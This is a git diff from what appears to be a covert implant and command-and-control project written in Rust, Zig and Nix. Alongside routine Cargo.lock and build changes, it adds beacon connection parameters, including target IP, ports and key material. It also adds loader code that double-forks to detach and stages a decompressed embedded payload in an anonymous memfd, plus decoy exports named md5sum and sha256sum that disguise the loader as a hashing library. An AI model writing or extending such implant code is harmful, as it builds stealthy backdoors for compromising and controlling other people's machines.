diff --git a/Cargo.lock b/Cargo.lock index 3e9e2e2..29bc6de 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -179,6 +179,29 @@ version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "bindgen" +version = "0.69.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" +dependencies = [ + "bitflags", + "cexpr", + "clang-sys", + "itertools 0.12.1", + "lazy_static", + "lazycell", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash 1.1.0", + "shlex", + "syn", + "which", +] + [[package]] name = "bitflags" version = "2.8.0" @@ -218,12 +241,32 @@ dependencies = [ "shlex", ] +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + [[package]] name = "cfg-if" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "clang-sys" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", +] + [[package]] name = "codee" version = "0.2.0" @@ -539,6 +582,12 @@ version = "0.31.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" +[[package]] +name = "glob" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" + [[package]] name = "gloo-net" version = "0.6.0" @@ -597,6 +646,15 @@ version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024" +[[package]] +name = "home" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" +dependencies = [ + "windows-sys 0.59.0", +] + [[package]] name = "html-escape" version = "0.2.13" @@ -873,6 +931,15 @@ dependencies = [ "rustversion", ] +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + [[package]] name = "itertools" version = "0.13.0" @@ -897,6 +964,18 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "lazycell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" + [[package]] name = "leptos" version = "0.7.0" @@ -919,7 +998,7 @@ dependencies = [ "paste", "rand", "reactive_graph", - "rustc-hash", + "rustc-hash 2.1.0", "send_wrapper", "serde", "serde_qs", @@ -1029,7 +1108,7 @@ dependencies = [ "cfg-if", "convert_case", "html-escape", - "itertools", + "itertools 0.13.0", "leptos_hot_reload", "prettyplease", "proc-macro-error2", @@ -1119,12 +1198,28 @@ version = "0.2.169" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a" +[[package]] +name = "libloading" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34" +dependencies = [ + "cfg-if", + "windows-targets", +] + [[package]] name = "linear-map" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bfae20f6b19ad527b550c223fddc3077a547fc70cda94b9b566575423fd303ee" +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + [[package]] name = "litemap" version = "0.7.4" @@ -1572,7 +1667,7 @@ dependencies = [ "hydration_context", "or_poisoned", "pin-project-lite", - "rustc-hash", + "rustc-hash 2.1.0", "send_wrapper", "serde", "slotmap", @@ -1587,12 +1682,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "80bb1913eeb71f74028213455ee971550c2b3cb91b6acd5efa8a0f8dc59f5039" dependencies = [ "guardian", - "itertools", + "itertools 0.13.0", "or_poisoned", "paste", "reactive_graph", "reactive_stores_macro", - "rustc-hash", + "rustc-hash 2.1.0", ] [[package]] @@ -1667,12 +1762,31 @@ version = "0.1.24" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f" +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + [[package]] name = "rustc-hash" version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c7fb8039b3032c191086b10f11f319a6e99e1e82889c5cc6046f515c9db1d497" +[[package]] +name = "rustix" +version = "0.38.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a78891ee6bf2340288408954ac787aa063d8e8817e9f53abb37c695c6d834ef6" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.59.0", +] + [[package]] name = "rustversion" version = "1.0.19" @@ -1886,6 +2000,9 @@ dependencies = [ [[package]] name = "sparse-actions" version = "2.0.0" +dependencies = [ + "bindgen", +] [[package]] name = "sparse-beacon" @@ -1989,7 +2106,7 @@ dependencies = [ "futures", "html-escape", "indexmap", - "itertools", + "itertools 0.13.0", "js-sys", "linear-map", "next_tuple", @@ -2000,7 +2117,7 @@ dependencies = [ "paste", "reactive_graph", "reactive_stores", - "rustc-hash", + "rustc-hash 2.1.0", "send_wrapper", "slotmap", "throw_error", @@ -2455,6 +2572,18 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "which" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", +] + [[package]] name = "winapi-util" version = "0.1.9" diff --git a/flake.nix b/flake.nix index a05d5c9..9668440 100644 --- a/flake.nix +++ b/flake.nix @@ -61,6 +61,7 @@ zig clang glibc + libclang # Tools for cross compilation pkgsCross.x86_64-freebsd.buildPackages.clang @@ -103,6 +104,8 @@ SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd; SPARSE_BUILD_LIBNL = libnl; + LIBCLANG_PATH = "${pkgs.libclang.lib}/lib"; + FREEBSD_LIBS = freebsd-libs; GLIBC_LIBS = pkgs.glibc; GLIBC_LIBS_STATIC = pkgs.glibc.static; diff --git a/packages.nix b/packages.nix index 34a9877..81917f8 100644 --- a/packages.nix +++ b/packages.nix @@ -45,6 +45,7 @@ let ./Cargo.toml ./Cargo.lock ./build_common.rs + ./unix-loader/src/abi.h (craneLib.fileset.commonCargoSources ./sparse-actions) (craneLib.fileset.commonCargoSources ./pcap-sys) (craneLib.fileset.commonCargoSources ./nl-sys) @@ -63,6 +64,7 @@ let ./Cargo.toml ./Cargo.lock ./build_common.rs + ./unix-loader/src/abi.h (craneLib.fileset.commonCargoSources ./sparse-actions) (craneLib.fileset.commonCargoSources ./pcap-sys) (craneLib.fileset.commonCargoSources ./nl-sys) @@ -79,11 +81,12 @@ let ./Cargo.toml ./Cargo.lock ./build_common.rs + ./unix-loader/src/abi.h + (craneLib.fileset.commonCargoSources ./sparse-actions) (craneLib.fileset.commonCargoSources ./pcap-sys) (craneLib.fileset.commonCargoSources ./nl-sys) ./nl-sys/src/bridge.c (craneLib.fileset.commonCargoSources ./packets) - (craneLib.fileset.commonCargoSources ./sparse-actions) (craneLib.fileset.commonCargoSources ./sparse-server) ./sparse-server/style ./sparse-server/public diff --git a/sparse-actions/Cargo.toml b/sparse-actions/Cargo.toml index 19a638f..b9d2a31 100644 --- a/sparse-actions/Cargo.toml +++ b/sparse-actions/Cargo.toml @@ -4,3 +4,6 @@ edition = "2021" version.workspace = true [dependencies] + +[build-dependencies] +bindgen = "0.69" diff --git a/sparse-actions/build.rs b/sparse-actions/build.rs new file mode 100644 index 0000000..85fc347 --- /dev/null +++ b/sparse-actions/build.rs @@ -0,0 +1,15 @@ +use std::{env, path::Path}; + +fn main() { + let out_dir = env::var_os("OUT_DIR").unwrap(); + + let dest_bindings = Path::new(&out_dir).join("bindings.rs"); + + bindgen::Builder::default() + .header("../unix-loader/src/abi.h") + .parse_callbacks(Box::new(bindgen::CargoCallbacks::new())) + .generate() + .expect("unable to generate bindings") + .write_to_file(dest_bindings) + .expect("could not write bidnings"); +} diff --git a/sparse-actions/src/lib.rs b/sparse-actions/src/lib.rs index b93cf3f..6761f1e 100644 --- a/sparse-actions/src/lib.rs +++ b/sparse-actions/src/lib.rs @@ -1,14 +1,5 @@ -pub fn add(left: u64, right: u64) -> u64 { - left + right -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn it_works() { - let result = add(2, 2); - assert_eq!(result, 4); - } +#[allow(dead_code)] +#[allow(non_camel_case_types)] +pub mod payload_types { + include!(concat!(std::env!("OUT_DIR"), "/bindings.rs")); } diff --git a/unix-loader/src/abi.h b/unix-loader/src/abi.h new file mode 100644 index 0000000..3c132a1 --- /dev/null +++ b/unix-loader/src/abi.h @@ -0,0 +1,10 @@ +typedef struct Parameters { + int destination_ip; + int source_ip; + short destination_port; + short pubkey_cert_size; + short privkey_size; + short privkey_cert_size; + char pubkey_cert[1024]; + char identifier[64]; +} Parameters_t; diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index ba37085..079f840 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -2,8 +2,31 @@ const std = @import("std"); const beacon = @embedFile("beacon"); +const Parameters = @cImport({ + @cInclude("abi.h"); +}).Parameters_t; + fn use_beacon(message: []const u8) !void { - _ = try std.io.getStdOut().write(message); + const pid = std.c.fork(); + if (pid == 0) { + if (std.c.fork() == 0) { + const target_fd = try std.posix.memfd_create("", 0); + var reader = std.io.fixedBufferStream(message); + + var target_file = std.fs.File{ .handle = target_fd }; + + try std.compress.gzip.decompress(reader.reader(), target_file.writer()); + + while (true) {} + + std.c.exit(0); + } + std.c.exit(0); + } else { + var status: c_int = 0; + _ = std.c.waitpid(pid, &status, 0); + _ = std.c.kill(pid, std.c.SIG.KILL); + } } export fn hash_internals() void { diff --git a/unix-loader/src/loader.zig b/unix-loader/src/loader.zig index e50546f..e61d496 100644 --- a/unix-loader/src/loader.zig +++ b/unix-loader/src/loader.zig @@ -1,5 +1,16 @@ extern fn hash_internals() void; +const Parameters = @cImport({ + @cInclude("abi.h"); +}).Parameters_t; + export fn calculate_hash() void { hash_internals(); } + +export fn md5sum() void {} +export fn sha256sum() void {} +export fn sha384sum() void {} +export fn sha512sum() void {} +export fn sha1sum() void {} +export fn sha2sum() void {}